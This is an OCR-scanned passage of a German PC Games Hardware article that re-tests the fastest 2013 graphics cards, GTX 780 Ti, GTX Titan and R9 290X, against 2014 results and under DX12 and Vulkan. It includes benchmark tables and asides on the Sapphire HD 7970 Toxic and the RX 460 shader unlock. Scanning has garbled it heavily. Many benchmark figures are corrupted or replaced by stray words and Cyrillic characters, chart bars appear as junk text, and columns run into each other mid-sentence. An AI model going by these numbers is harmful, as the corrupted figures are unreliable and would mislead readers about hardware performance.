3D, stand immer wieder für man- 
gelnde Effizienz in der Kritik: Zahl- 
reiche Abstraktionsschichten, um 
allen Grafikchips gerecht zu wer- 
den, führen dazu, dass reichlich 
Performance auf der Strecke bleibt. 
Konsolen haben hingegen ihre 
eigenen APIs, die so abgespeckt 
(„low-level‘) sind, dass sie genau 
zu der jeweiligen Hardware passen, 
was im vielgestaltigen PC-Bereich 
nicht möglich ist. Das sollte AMDs 
Mantle-Schnittstelle ändern, wel- 
che zusammen mit der Hawaii-GPU 
vorgestellt wurde. Direkter (AMD-) 
Hardware-Zugriff war angesagt. 


www.pcgameshardware.de 
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PCGH-Leistungsindex 2017 


Grafikkarte/Spiel/ GTX Titan OC GTX 1060/6G RX 480/8G R9 290X |GTX780Ti R9290 GTX Titan | GTX 780 R9 280X GTX 770 
Einstellungen @ 1.254/3.600 MHz (4,40 TFLOPS, (5,83 TFLOPS, (5,63 TFLOPS, | (5,35 TFLOPS, | (4,85 TFLOPS, | (4,70 TFLOPS, | (4,15 TFLOPS, | (4,10 TFLOPS, | (3,33 TFLOPS, 
(6,74 TFLOPS, 346 GB/s) 192 GB/s) 256 GB/s) 320 GB/s) 336 GB/s) 320 GB/s) 288 GB/s) 288 GB/s) 288 GB/s) 224 GB/s) 
Ashes of the Singularity 58,9 58,9 58,0 56,5 45,7 544 44,0 38,1 33,8 21,6 
Assassin's Creed Syndicate 45,3 48,9 44,3 35,1 30,6 33,0 208 25,8 2505 15,0 
Bioshock Infinite 63,0 48,8 47,8 48,0 514 45,9 47,7 44,9 37,2 36,6 
Crysis 3 55,4 44,8 41,0 44,1 44,1 41,8 41,2 38,0 Bing 30,9 
Crysis Warhead 63,1 57,2 51,3 57,1 49,7 55,1 47,1 44,7 41,8 40,0 
Deus Ex Mankind Divided 53,0 45,5 51,0 47,1 379 45,5 38,6 32,0 32,8 18,7 
Doom 46,1 49,6 61,9 56,2 35,5 51,9 32,9 27,7 45,6 20,4 
TES 5: Skyrim 60,1 53 43,3 43,2 45,9 595 43,9 40,7 31,4 32,6 
F1 2016 56,8 54,0 57,1 51,6 47,1 46,5 42,2 39,1 32,3 32,1 
Fallout 4 49,4 47,1 39,0 38,5 39,3 37,6 35,7 33,8 26,0 21.9) 
Far Сту Primal 50,7 45,7 44,6 45,5 39,6 42,1 36,7 33,7 33,6 28,9 
GIA 5 59,8 525 44,8 40,8 40,0 38,7 44,6 3318 30,7 2125) 
Mirror's Edge Catalyst 46,4 44,0 44,6 24,9 24,1 24,5 33,7 21,1 12,5 9,6 
Overwatch ББ 44,3 43,6 40,3 39,8 37,1 38,0 33,6 29,6 28,8 
Rise of the Tomb Raider 48,4 42,6 42,3 40,8 27,1 37,4 35,0 23,0 26,8 10,5 
The Talos Principle 54,2 42,8 41,9 46,0 43,1 43,4 40,5 36,0 33,8 SS 
Total War: Warhammer 58,6 542 45,1 343 29,6 32,3 42,7 25,2 28 11,5 
Ethan Carter Redux 46,1 43,0 37,2 36,7 36,6 34,9 33,6 30,2 26,4 22,4 
The Witcher 3 52,1 45,3 45,1 38,4 40,9 34,6 37,6 34,2 29,9 29,3 
Capture One Pro 9.2.1 56,5 54,0 77,4 86,5 46,8 81,8 43,5 36,6 1516 295 
HW-Index (Full HD) 57,6 535 50,2 46,4 44,4 43,6 42,4 37,9 34,3 30,3 
HW-Index (WQHD) 53,1 47,6 45,7 43,3 38,9 40,5 38,9 33,5 31,7 25,0 
HW-Index (Ultra HD) 50,1 44,4 43,6 40,6 34,8 38,4 36,9 293 2G) 18,9 
HW-Index (Anwendungen) 56,5 54,0 77,4 86,5 46,8 81,8 43,5 36,6 75,6 29,3 
Index normiert & gewichtet 54,9 49,9 49,1 46,5 41,0 EIER 40,4 34,9 34,4 26,3 
Bemerkungen: Angaben sind Indexwerte pro Spiel, keine Fps! Die stark übertaktete Titan zeigt exemplarisch, was eine ans Limit getriebene GK110-Karte heute noch leisten kann. 


Exkurs #1: 2013 — als Sapphire sich dem Titanen stellte 


Vor vier Jahren hieß es nicht nur „Geforce gegen Radeon”, sondern „Titan 


versus Toxic” — wir werfen einen Blick zurück auf dieses Duell. Titanische Tests aus der PCGH 04/201 3 


Crysis Warhead + Uber-Cfg, 2.560 х 1.600, 4x MSAA - „F Helle Heart” 
Nvidias erster Titan betrat im Februar 2013 die Bühne. Dank zahlreicher Rechen- узенен kau i а тот Oed 


werke und neuer Fertigungstechnologie hatte die Geforce GTX Titan mit den meisten GTX Titan @ 1.006 MHz EE 
Konkurrenz-Grafikkarten leichtes Spiel — das war auch notwendig, um den exorbitant Sapphire Toxic HD 7970/66 31,4 (427 %) 
hohen Preis von beinahe 1.000 Euro zu rechtfertigen. Radeon HD 7970 GHz Ed./3G MEMZ 28,5 (+15 %) 

GTX 680/4G @ 1.254/3.600 [ge 29,7 (+20 96) 

So stark AMDs Radeon HD 7970 GHz Edition auch war, gegen die GTX Titan „Classic” Geforce GTX 680/26 24,7 (Basis) 

konnte der 2012 veröffentlichte (und wesentlich günstigere) Refresh der HD 7970 Serious Sam 3 BFE, 1.920 x 1.080, 4x SSAA + 4x MSAA - „Iron Cloud” 


nicht bestehen. Da AMD noch bis zum Herbst an der Radeon R9 290X feilte, hielt der GTX Titan @ 1.006 MHz N EN 34,7 (+79 %) 


Markt damals nur einen ernsthaften Titan-Konkurrenten bereit: Sapphires , Toxic" Ra- Sapphire Toxic HD 7970/6G EEE EN 30,8 (+59 %) 


deon HD 7970 GHz Edition. Dabei handelt es sich um eine bereits 2012 veröffentlich- 
te Spezialversion der AMD-Karte, deren Verbesserungen sich gezielt an Enthusiasten 
richteten: Mit bis zu 1.200 MHz Kerntakt im „Lethal Boost Mode" und 6 GiByte 
Speicher war die Karte prädestiniert dafür, es mit der GTX Titan aufzunehmen. 


Radeon HD 7970 GHz Ed./3G [ag ps 27,8 (+43 %) 
GTX 680/4G © 1.254/3.600 EEE 23,2 (+20 %) 
Geforce GTX 680/2G og 19, (Basis) 


Crysis (DX10), sehr hoch, 3.840 x 2.160, 4x MSAA - „Paradise Lost” 


Genau dieses Duell hat PCGH kurz nach dem Titan-Launch abgehalten, garniert mit GTX Titan © 1.006 MHz Es 25,6 (+61 96) 
einigen Vergleichskarten. Auf der rechten Seite finden Sie die originalen Benchmarks Sapphire Toxic НО 7970/6G 23,8 (+50 96) 
in den damals forderndsten Spielen. Tatsächlich kann sich die Sapphire Toxic HD 7970 Radeon HD 7970 GHz Ed./3G О 21,8 (+37 96) 
einen messbaren Abstand zur HD 7970 GHz Edition (1.050 MHz, 3 GiByte) erkämpfen GTX 680/4G © 1.254/3.600 EB 19,3 (+21 96) 

und kommt in Schlagdistanz einer GTX Titan mit 1.006 MHz Boostfrequenz. Falls Sie Geforce GTX 680/2G EEE 15,9 (Basis) 

sich wundern: Ein rundes Gigahertz erreichen und halten Titan-Karten mit heraufge- 


SC N | MG System: Core 17-3770K @ 4,5 GHz, 277, 2 x 4 GiB DDR3-1866; Win 764 SP1, Gef. | WNEI Ø F 
setztem Powerlimit und verbesserter Kühlung. Interessant ist weiterhin das verbesse- 313.96 Beta, Cat. 13.2 B5 Bemerkungen: Anfang 2013 hatten Enthusiasten die ps 


i ч : А thi » Besser 
rungsfähige Abschneiden der (manuell) stark übertakteten Geforce GTX 680/4G. ua einer. Titar uad ариз TORIS HD ee 
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PCGH-Leistungsindex 2014 


Grafikkarte/Spiel/Einstellungen Titan Black R9 290X GTX 780 Ti R9 290 GTX Titan GTX 780 R9 280X GTX 770 

(5,64 TFLOPS, (5,63 TFLOPS, (5,35 TFLOPS, (4,85 TFLOPS, (4,70 TFLOPS, (4,15 TFLOPS, (4,10 TFLOPS, (3,33 TFLOPS, 
336 GB/s) 320 GB/s) 336 GB/s) 320 GB/s) 288 GB/s) 288 GB/s) 288 GB/s) 224 GB/s) 

Anno 2070 - „Ват!“ 

1.920 x 1.080, Ingame-AA/16:1 AF 70,0 72,9 65,9 66,2 61,5 56,1 521 46,0 

2.560 x 1.600, Ingame-AA/16:1 AF 40,7 43,7 38,3 39,5 357 3255 30,9 25,9 

Battlefield 3 – „Swordbreaker” 

1.920 x 1.080, 4x MSAA--FXAA/16:1 AF 98,7 90,6 93,3 83,1 86,6 81,1 64,4 66,8 

2.560 x 1.600, 4x MSAA+FXAA/16:1 AF 60,7 57,6 57,8 52,8 5S) 49,5 40,6 40,8 

Bioshock Infinite — „New Eden" 

1.920 x 1.080, Ingame-AA/16:1 AF 123,6 101,5 118,1 93,6 106,6 103,1 76,6 80,6 

2.560 x 1.600, Ingame-AA/16:1 AF 76,3 60,2 121 55,6 66,4 60,8 45,3 M 

Crysis 3 — , Fields" 

1.920 x 1.080, 4x SMAA/16:1 AF 54,0 49,2 5122 45,6 49,1 46,4 35,6 379 

2.560 x 1.600, 4x SMAA/16:1 AF 31,0 30,2 29,3 28,0 27,9 25,4 DIG 21,9 

Crysis Warhead — „Zug 3.0" 

1.920 x 1.080, 4x MSAA/16:1 Treiber-AF 64,5 70,7 62,8 64,9 58,5 56,0 50,4 50,6 

2.560 x 1.600, 4x MSAA/16:1 Treiber-AF SMS 42,6 35,4 39,4 33,9 Bon 302 28,4 

Far Cry 3 Blood Dragon - „Heli” 

1.920 x 1.080, 4x MSAA/16:1 AF 76,4 Tij 2 72,8 65,7 63,5 63,1 49,3 50,4 

2.560 x 1.600, 4x MSAA/16:1 AF 45,0 44,5 43,3 40,6 39,0 35,6 31,3 29,8 

Grid 2 – , Barcelona" 

1.920 x 1.080, 4x MSAA/16:1 AF 110,9 101,8 105,8 93,3 97,6 90,9 74,7 74,9 

2.560 x 1.600, 4x MSAA/16:1 AF TE 72,9 72 66,0 66,5 61,0 53,9 50,3 

Max Payne 3 – , Disco" 

1.920 x 1.080, 4x MSAA--FXAA/16:1 AF SE 77,6 68,9 69,5 63,6 60,9 54,8 50m 

2.560 x 1.600, 4x MSAA+FXAA/16:1 AF 45,7 50,1 43,3 46,0 40,1 38,6 ВБ BIS 

Metro Last Light — ,, Crossing" 

1.920 x 1.080, 2x SSAA/16:1 AF 54,3 45,8 Sm 42,2 46,4 44,0 3203 35,9 

2.560 x 1.600, 2x SSAA/16:1 AF 29,3 26,4 27,6 24,6 25,9 24,1 18,6 19,3 

NFS Most Wanted - „Continental Drift” 

1.920 x 1.080, 4x SSAA/16:1 Treiber-AF 40,1 41,4 EI 37,8 38,1 32,0 28,5 24,9 

2.560 x 1.600, 4x SSAA/16:1 Treiber-AF 18,2 2077 UR 20,1 17.5 14,7 157 10,0 

Serious Sam 3 BEE — ,,Cairo” 

1.920 x 1.080, 2x SSAA/16:1 AF 44,8 50,2 42,4 46,0 39,6 36,1 34,2 20. 

2.560 x 1.600, 2x SSAA/16:1 AF 26,9 30,9 2515 28,5 23,8 21,9 25 14,3 

TES 5: Skyrim — „Secundas Sockel” 

1.920 x 1.080, 4x SGSSAA/16:1 AF 93, 68,2 89,0 61,7 81,0 T2 525 60,5 

2.560 x 1.600, 4x SGSSAA/16:1 AF 622 45,3 59,4 40,9 Sun 48,2 33,6 38,9 

The Witcher 2 Enhanced Edition – „Сатр“ 

1.920 x 1.080, Ingame-AA/16:1 Treiber-AF 36,4 40,2 34,6 36,7 825 30,1 30,4 26,3 

2.560 x 1.600, Ingame-AA/16:1 Treiber-AF 21,9 24,9 20,8 22,6 19,7 18,1 18,4 15,8 

Tomb Raider - , Cliffs" 

1.920 x 1.080, 2x SSAA/16:1 AF 91, 5l d 48,9 46,3 43,4 40,2 36,5 34,9 

2.560 x 1.600, 2x SSAA/16:1 AF 30,4 ЗЛ 29,1 28,1 25 7 2345 21,9 173) 

World of Warcraft: Mists of Pandaria —, Singende Teiche” 

1.920 x 1.080, 4x SGSSAA/16:1 AF 98, 86,1 94,0 79,8 88,1 80,1 59,9 70,7 

2.560 x 1.600, 4x SGSSAA/16:1 AF 64,3 61,0 61,5 55,8 58,1 51,6 41,7 46,2 

HW-Index (1.920 x 1.080) 100,0 95,7 95,0 87,6 88,1 81,9 68,5 67,8 

HW-Index (2.560 x 1.600) 100,0 99,7 95,0 91,3 88,6 81,0 ЛЛ 65,3 

Leistungsindex normiert 100,0 96,9 95,0 88,7 88,2 81,6 69,3 67,1 


Bemerkungen: Angaben in Durchschnitts-Fps (Spiele) bzw. Indexpunkte. Beachten Sie die Machtverhältnisse der GPUs anno 2014 und wie sie sich entwickelt haben (linke Seite). 
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Mantle beflügelte die Leistung der 
AMD-Karten unter anderem in 
Battlefield 4, Plants vs. Zombies: 
Garden Warfare, Thief und Sniper 
Elite 3, während Nvidia - durchaus 
erfolgreich - mit gezielten Opti- 
mierungen des DX11-Treibers ent- 
gegensteuerte. Obwohl Mantle als 
reine Radeon-API kein langes Le- 
ben oder breite Unterstützung be- 
schert war, änderte sie doch alles: 
Direct X 12 und Vulkan entstanden 
auf diesem Fundament, ergänzt um 
weitere Möglichkeiten und die Un- 
terstützung aller Grafikchips. 


Die Gegenwart 
Seit dem Mantle-Debüt sind meh- 
rere Jahre vergangen. Direct X 12 


und Vulkan fristen 2017 nach wie 
vor ein Nischendasein, ihre Ver- 
breitung in PC-Spielen nimmt nur 
schleppend zu. Der neueste Titel 
im Ensemble ist Rebellions Sniper 
Elite 4, dessen erfreulich gelun- 
gene DX12-Implementierung wir 
ausführlich unter www.pcgh.de/ 
sniper4 testen. 

Keine der 2013er-Grafikkarten, 
welchen wir uns in diesem Artikel 
widmen, wurde im Hinblick auf 
die aktuellen Low-Level-APIs entwi- 
ckelt. Bei der damaligen Bewertung 
spielte nur die DX11-Funktionsebe- 
ne eine Rolle, da man davon aus- 
ging, dass kommende Spiele wei- 
tere API-Features nutzen werden. 


AMDs Hawaii-Chip erfüllt die Spe- 
zifikation für DX11.2 Tier 2 und hat 
damit einen Vorsprung gegenüber 
Nvidias Kepler, der nur das Funk- 
tionsspektrum 11.0 beherrscht. 
Unter DX12, das Grafikchips nach 
wie vor in Feature-Levels unterteilt, 
hat die Differenz größere Auswir- 
kungen: Während Hawaii (alias 
Grenada auf der Radeon-300-Serie) 
das Feature-Level 12_0 beherrscht, 
verweilt Kepler bei 11_0. Die 
Nvidia-Chips bieten folglich nur 
Software-Kompatibilität zur DX12- 
Schnittstelle und können somit 
vom reduzierten Verwaltungsauf- 
wand (Overhead) profitieren, aber 
nicht von modernen Features wie 
Asynchronous Compute, das die 


Hitman: DX12 beflügelt R9 290X und bremst Titan/780 Ti aus 


Hitman: Episode 2 (v1.9), maximale Details, 1080p - „Sapienza Sundown XT“ (60 Sekunden) 


Zeit in Sekunden 
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System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64 (1607), GF 378.49, RS 17.1.2, HQ-AF 
Bemerkungen: Hitman ist zwar nicht Bestandteil des PCGH-Leistungsindex, aber ein regelmäßiger Gast in GPU-Tests. Wir testen die neue , Landslide"-Mission auf 
Sapienza. Auch hier verlieren die Kepler-Chips unter DX12 Leistung, während Hawaii deutlich zulegt und die Nvidia-Chips selbst unter DX11 deklassiert. 


Rise of the Tomb Raider: 3 GiByte und DX12 keine gute Kombination 


Rise of the Tomb Raider (v1.0 build 767.2), maximale Details, 1080р – „Geo Valley XT" (60 Sekunden) 
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Zeit in Sekunden 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 СІВ Corsair DDR4-3000 (1T); Windows 10 x64 (1607), GF 378.49, RS 17.1.2, HQ-AF 
Bemerkungen: Die Probanden liegen mit beiden APIs relativ nah beieinander. Ein groBer Unterschied ergibt sich beim Wechsel von DX11 auf DX12 nur bei der GTX 780 
Ti: Das Spiel benótigt unter DX12 etwas mehr Grafikspeicher, sodass 3 GiByte nicht mehr ausreichen. Aber auch mit 6 GiByte kostet DX12 auf Kepler ein paar Fps. 
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Ausführung von Grafik- und Com- 
pute-Berechnungen parallel, an- 
statt seriell ermóglicht. 


Umfangreicher Nachtest 
Falls Sie bereits die Rand-Elemen- 
te dieses Artikels studiert haben, 
kennen Sie die Folge: Kepler steht 
mit den Low-Level-APIs relativ ein- 
deutig auf Kriegsfuß. Doch der 
Reihe nach; wir haben umfangrei- 
che Nachtests mit den ehemaligen 
Spitzenchips von AMD und Nvi- 
dia durchgeführt, um die Frage zu 
beantworten, welche Grafikkarte 
am besten gealtert ist. Besonders 
interessant sind dabei die besagte 
Low-Level-Eignung sowie die Aus- 
wirkungen der Speicherkapazitàt. 


Im Fokus der Betrachtung stehen 
die Geforce GTX 780 Ti, GTX Titan 
und Radeon R9 290X als schnellste 
Grafikkarten des Jahres 2013. Die 
gewonnenen Erkenntnisse lassen 
sich direkt auf die verwandten Mo- 
delle Geforce GTX Titan Black, GTX 
780 sowie Radeon R9 290 übertra- 
gen, da sich diese nur in der Anzahl 
der Rechenwerke unterscheiden. 
Wie immer, wenn es bei der PCGH 
um Referenzkarten geht, testen wir 
alle Modelle mit den von AMD und 
Nvidia angegebenen, ,typischen* 
Taktraten. Herstellerdesigns ver- 
fügen teilweise über wesentlich 
höhere (GPU-)Taktraten, welche 
sich prozentual auf die hier gewon- 
nenen Ergebnisse addieren lassen. 
Als Bonus haben wir auch die Leis- 
tungsklasse darunter, bestehend 
aus Geforce GTX 770 und Radeon 
R9 280X, jeweils mitgetestet. 


Alle Probanden haben nicht nur 
den aktuellen PCGH-Leistungsin- 
dex (siehe Seite 27 und Ausgabe 
11/2016 für Details), sondern auch 
weitere Benchmarks durchlaufen. 
Gegenstand der Betrachtung ist ein 
Vergleich der damaligen mit den 
aktuellen Machtverhältnissen. Wel- 
che Investition hat sich wohl am 
meisten ausgezahlt? 


Leistung anno 2014 

Die Quintessenz, nämlich den Ver- 
gleich der Leistungsindizes Stand 
2014 und 2017, finden Sie auf der 
Doppelseite 32-33. Wir erinnern 
uns: Anfang 2014 eroberte Nvidias 
GTX Titan Black den Leistungs- 
thron mit dem Index 100. Es folgen, 
jeweils mit Werten um die 95-Pro- 
zent-Marke, die R9 290X und GTX 
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780 Ti, wiederum gefolgt vom Sub- 
89-Prozent-Pärchen R9 290 und Ti- 
tan „Classic“. Es ist beachtlich, wie 
punktgenau diese Grafikkarten die 
Leistung des jeweiligen Konkur- 
renten treffen. 


Leistung anno 2017 

Beim Sprung in die Gegenwart ver- 
ändern sich die Machtverhältnisse 
teilweise deutlich. Beachten Sie 
bitte, dass beim aktuellen Index die 
Titan X (Pascal) die 100-Prozent- 
Messlatte darstellt und sich die 
anderen Grafikkarten daran orien- 
tieren. Eine GTX Titan Black liegt 


uns trotz mehrfacher Nachfrage 
bei Nvidia seit 2014 nicht vor. Die 
Präzision des Index hat zwischen- 
zeitlich zugenommen, da wir eine 
dritte Auflösung sowie eine größe- 
re Probenmenge erheben: 19 Spie- 
le und eine Anwendung, anstelle 
von 15 Spielen. 


Da die Open-CL-Applikation in 
den Gesamt-Index einfließt, be- 
trachten wir der Einfachheit halber 
zunächst die Resultate bei Full-HD- 
Auflösung. 2014 lag die R9 290X 
um 0,7 Indexpunkte vor der GTX 
780 Ti, was einer Differenz von we- 


Zukunftssicherheit: Es gibt sie 
tatsächlich. Manchmal. 


Ich gebe es zu: Die neuerlichen Messungen der GTX 
Titan haben mich stellenweise überrascht. Vor genau 
vier Jahren war nur klar, dass sich der 6 GiByte große 
Dekadenzspeicher in Zukunft positiv bemerkbar 
machen wird. Ab 2014 passierte das immer häufiger 


und die Titan erlebte eine Art zweiten Frühling. Soweit 
der erwartete Teil. Die Parade wird von den jüngsten 
Low-Level-Entwicklungen versaut, die 2013 noch 
niemand voraussagen konnte. Kepler kommt weder mit 


4 ш ъъ 
Raffael Vötter 


Direct X 12 noch mit Vulkan wirklich gut klar, im Mittel 
sinkt die Leistung, anstatt zu steigen. Ob das nur an 
der Architektur oder an mangelnder Treiberliebe liegt, vermag höchstens Nvidia 


Titan (2013, Mitte) und Titan Black (2014, unten): Unsere Prognose ist zu weiten 
Teilen eingetreten; die sündteuren Titanen sind dank ihrer 6 GiByte gut gealtert — die 
günstigere R9 290X (2013, oben) läuft jedoch beiden davon. 


zu sagen. Die Idee, eine Grafikkarte mithilfe eines großen Speichers langlebig zu 
machen, funktioniert jedoch ohne Zweifel *seine HD 7970 und Titan tätschelt*. 


Exkurs #2: Ein Wiedersehen ehemaliger Konkurrenten 


Kepler gegen Tahiti, darum ging es 2012 und 2013. Wie schlagen sich die 
GTX 780 und GTX 770 heutzutage gegen die R9 280X (HD 7970 0C)? 


Kepler gegen Tahiti (Full-HD-Auflösung) 


Resident Evil 7 (DX11), max. Details, TAA/16:1 AF - , Hell's Kitchen" 


Palit GTX 780 Jetstream (1.032/3.004 MHz) Ese E 70,6 (-12 96) 
HIS R9 280X IceQ X? Turbo (1.050/3.000 MHz) eg s 80,0 (Basis) 
Gigabyte GTX 770 Windforce (1.241/3.500 MHz) Ө] ЕШ 23,4 (771 96) 


Zwar handelt dieser Artikel vom Nachtest der 2013er GPU-Elite, doch auch die 
Leistungsklasse unterhalb der GTX 780 Ti/Titan und R9 290(X) verdient erneut Beach- 
tung. Den Anfang machte im Januar 2012 die Radeon HD 7970: Als erste Grafikkarte 
mit fortschrittlicher 28-Nanometer-Fertigung eroberte sie die Benchmark-Charts 
mühelos. Im Márz erschien Nvidias Antwort, die Geforce GTX 680, welche sich einen 
Gleichstand erkámpfte. Die Spieler hatten damals die Wahl zwischen zukunftssicherer 
Speicherausstattung (HD 7970) und geringerer Leistungsaufnahme (GTX 680). 

Mitte 2012 legte AMD die HD 7970 GHz Edition mit 1.050/3.000 MHz (GPU/RAM) 
anstelle der originalen 925/2.750 MHz auf, womit die Leistungskrone — auf Kosten 
des Verbrauchs — wieder auf AMDs Haupt wanderte. Die 2013 erschienenen Modelle 
GTX 770 und R9 280X, beides Empfehlungen in der Oberklasse, entsprechen diesen 
Vorlagen mit allen Stärken und Schwächen. Zeitgenössische PCGH-Benchmarks von 
Ende 2013 skizzierten einen leichten Vorteil der R9 280X (3 GiByte) gegenüber der 
etwas teureren GTX 770 (2 GiByte). Die GTX 780 kostete damals noch gute 150 Euro 
mehr als diese Grafikkarten, konnte sich jedoch auch deutlich von ihnen absetzen 

— im PCGH-Index stand es 85,9 (GTX 780) zu 73,4 (R9 280X) respektive 71,1 (GTX 
770) Punkte. Beim Blick auf die PCGH-Spieletests der vergangenen Monate ist von 
der Dominanz der GTX 780 nicht mehr viel übrig. Im Benchmark rechts sehen Sie 
drei Herstellerdesigns der betreffenden Karten, von denen die GTX 770 prozentual 
am stárksten übertaktet ist, gefolgt von der GTX 780. Die R9 280X OC entspricht mit 
diesem Takt genau einer HD 7970 GHz Edition (2013er-Index: 76,7). 


Sniper Elite 4 (DX12), Ultra-Details, FXAA/16:1 AF — „Sniper Woods" 


Palit GTX 780 Jetstream (1.032/3.004 MHz) [Egg ШЕШ 39,2 (+12 96) 
HIS R9 280X IceQ X? Turbo (1.050/3.000 MHz) MEMM 35, 1 (Basis) 
Gigabyte GTX 770 Windforce (1.241/3.500 MHz) Egg 32,5 (-7 96) 


Watch Dogs 2 (DX11), Ultra-Details, TAA--SMAA/16:1 AF - , Frisco" 
Palit GTX 780 Jetstream (1.032/3.004 MHz) ВЕ ШЕШ 36,1 (+20 96) 


HIS R9 280X IceQ X? Turbo (1.050/3.000 MHz) SSPII IG CT=IBSEI 88 30,1 (Basis) 
Gigabyte GTX 770 Windforce (1.241/3.500 MHz) EB Ex 16,6 (745 96) 


Titanfall 2 (DX11), max. Details (FOV 70), TAA/16:1 AF - „Titanic Falls" 


Palit GTX 780 Jetstream (1.032/3.004 MHz) EE 46,5 (77 96) 
HIS R9 280X IceQ X? Turbo (1.050/3.000 MHz) agn cu 50,2 (Basis) 
Gigabyte GTX 770 Windforce (1.241/3.500 MHz) Xam es 42,4 (-16 96) 


Mimil 2 Fps 


» Besser 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 
GiByte Corsair DDR4-3000 (1T); Windows 10 x64 (1607), HQ-AF 
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niger als einem Prozent entspricht. 2017 
wächst die Differenz auf 2,0 Indexpunk- 
te respektive 4,5 Prozent - die Karten 
sind immer noch gleichwertig, aller- 
dings konnte AMD seinen Abstand ver- 
größern. Beim Wechsel auf 2.560 Pixel- 
spalten sieht es ähnlich aus: 2014 kann 
sich die RO 290X um 4,9 Prozent von der 
GTX 780 Ti distanzieren, 2017 wàchst 
der Abstand auf 11,3 Prozent an. Woran 
liegt's? Unter anderem an der Speicher- 
kapazität, 3 GiByte stellen bei modernen 
Spielen іп WOHD öfter einen Limitfak- 
tor dar als in Full HD. 2014 war das noch 
kein Thema. Unsere Prophezeiung, dass 
die Radeon R9 290X in Zukunft von ih- 
rem 4-GiByte-Puffer profitieren würde, 
ist eingetreten. 


Diese These wird von der GTX Titan ge- 
stützt, welche anno 2014 deutlich unter- 
halb der GTX 780 Ti rangierte, während 
sie ihr im 2017er-Index jedoch gefährlich 
nahe kommt - vor allem in 1600p/1440p: 
Betrug die Differenz damals 7,2 Prozent, 
herrscht 2017 Gleichstand. Aufgrund 
der weitgehend unspielbaren Bildrate 
kaum praxisrelevant, aber pikant ist, 
dass die GTX Titan in Ultra HD schließ- 
lich an der GTX 780 Ti vorbeizieht 
(+6,0 %). Das verdankt sie nur ihrem 6 
GiByte großem RAM, architektonisch 
sind die GPUs gleich. 


Interessant ist weiterhin, was über die 
Jahre beim Duell der GTX Titan mit der 
R9 290 passiert - fast nichts. Nach wie 
vor sind diese beiden Karten vergleich- 
bar schnell. Zwar kann auch bei diesem 
Vergleich die AMD-Karte etwas Boden 
gutmachen, die Auswirkungen in der 
gewandelten Spiele-Landschaft sind je- 
doch geringer als beim Schlagabtausch 
der großen Geschwister. Führte in Full 
HD anno 2014 die Titan noch minimal 
(+0,6 %), tut es 2017 die R9 290 mit 
2,8 Prozent. Die nächsthöhere Auflö- 
sung konnte bereits 2014 die Radeon mit 
+3,0 Prozent für sich entscheiden und 
baut ihre Führung 2017 auf 4,1 Prozent 
aus. Sie haben es bestimmt bemerkt: Im 
Gegensatz zur GTX 780 Ti bricht die Ti- 
tan in WQHD nicht nennenswert ein. 


Tiefenanalyse 

Zwar haben wir den PCGH-Leistungs- 
index im Spätsommer 2016 mit Blick 
nach vorn konzipiert - und es befinden 
sich erste Spiele mit Low-Level-APIs da- 
rin - die Auswirkungen von DX12 und 
Vulkan gehen jedoch weitgehend in 
der Normierung unter. Die (Verlaufs-) 
Benchmarks dieses Artikels zeigen die 
Auswirkungen der neuen Low-Level- 
Welt deutlicher. Weder in Ashes of the 
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Singularity noch in Hitman, The 
Division oder Rise of the Tomb 
Raider kommt Kepler auf einen 
grünen Zweig - die Leistung 
im vermeintlichen Heilsbringer 
DX12 sinkt gegenüber DX11, da 
die Hardware nicht darauf aus- 
gelegt wurde. Anders sieht das 
beim DX12_0-fähigen Hawaii- 
Chip aus, die R9 290X profitiert 
ausnahmslos von der hardware- 


nahen Ansprache. Ähnlich sieht 
es bei Doom unter Vulkan aus, 
wobei die GTX Titan hier zumin- 
dest hauchdünn zulegen kann - 
die GTX 780 Ti interessanterwei- 
se nicht. Gegen ihre ehemalige 
Konkurrenz haben die 2013er 
Nvidia-Karten in keinem Low- 
Level-Test eine Chance und es ist 
davon auszugehen, dass das ihr 
Schicksal bleibt. (rv) 


Fazit Нагйшаге 


GPU-Giganten im Nachtest 

Wer sich 2013/2014 für eine Radeon 
R9 290(X) entschieden hat, wahlte das 
zukunftssichere Produkt. Die Erkennt- 
nis, dass ein groBer Grafikspeicher vor 
allem Jahre später hilfreich ist, verwun- 
dert nicht. Das konsequent schwache 
Abschneiden der Kepler-Chips in Low- 
Level-Tests war jedoch nicht absehbar. 
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RX 460 wird RX 465 


AMDs Polaris-Einsteigermodell Radeon RX 460 rechnet mit 896 Shader-Einheiten, lässt sich jedoch 
auf 1.024 Rechenwerke , aufrüsten" 


RX 460: 896 vs. 1.024 Shader-ALUs 


Overwatch (DX11), Epic-Preset, 1080р – , Dorado" 


1.024 ALUs @ 1.300/3.800 MHz ERE 50,2 (+9 96) 
896 ALUs @ 1.300/3.800 MHz Eu ШЕШ 46,2 (Basis) 
Asus Strix 1.024 ALUs (1.256 MHz) aI 48,6 (+10 96) 
Asus Strix @ 896 ALUs (1.256 MHz) Eg 44, 1 (Basis) 
Asus Strix @ 1.024 ALUs (1.200 MHz) En 47,1 (+10 96) 
Asus Strix 896 ALUs (1.200 MHz) ma—““S591IE8 42,7 (Basis) 
ХЕХ Passive @ 1.024 ALUs (-1.080 MHz) EB 42,5 (+2 %) 
ХЕХ Passive @ 896 ALUs (-1.100 MHz) Emu 41,6 (Basis) 


Sniper Elite 4 (DX12), maximale Details, 1080p - „Schießstand” 


1.024 ALUs @ 1.300/3.800 MHz EXEC ШЕШ 39,4 (+6 96) 
896 ALUs @ 1.300/3.800 MHz EB 37,2 (Basis) 
Asus Strix @ 1.024 ALUs (1.256 MHz) Egg ШЕШ 38,2 (+6 %) 
Asus Strix @ 896 ALUs (1.256 MHz) EEE 35,9 (Basis) 
Asus Strix @ 1.024 ALUs (1.200 MHz) Em НЕШ 36,9 (+6 96) 
Asus Strix @ 896 ALUs (1.200 MHz) Egi ШШ 34,7 (Basis) 
ХЕХ Passive @ 1.024 ALUs (-1.080 MHz) Egg s 34,0 (+4 %) 
ХЕХ Passive 896 ALUs (-1.100 MHz) G E 32,6 (Basis) 


Rise of the Tomb Raider (DX12), maximale Details, 1080p - „Geo Valley" 


1.024 ALUs @ 1.300/3.800 MHz EIS 22,4 (+6 96) 
896 ALUs @ 1.300/3.800 MHz EEE IN 21,2 (Basis) 
